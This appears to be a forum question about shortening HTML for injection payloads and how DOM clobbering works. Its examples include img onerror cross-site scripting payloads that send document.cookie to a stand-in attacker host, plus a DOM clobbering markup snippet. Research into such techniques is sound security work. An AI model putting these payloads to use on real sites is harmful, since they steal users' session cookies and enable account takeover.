What possibilities do you have to shorten html?
Some things that come to my mind:
Removing html, head and body tags and it will be added
Removing whitespaces cf. this Stack Overflow question
Removing quotes
<img src=x onerror=this.src='http://attacker.tld/?c='+document.cookie>
Let the browser perform corrections like
fill in the protocol:
<img src=x onerror=this.src='//attacker.tld/?c='+document.cookie>
and add missing tags:
cat test.html <a id=CONFIG name=test><p><a href=//example.com? id=testPath name=protocol><p>T
becomes (using Chromium 90):
(cf Clobbering the clobbered - Advanced DOM Clobbering and DOM Clobbering)
How does the latter work?
Is there any good documentation on shortening possibilities somewhere?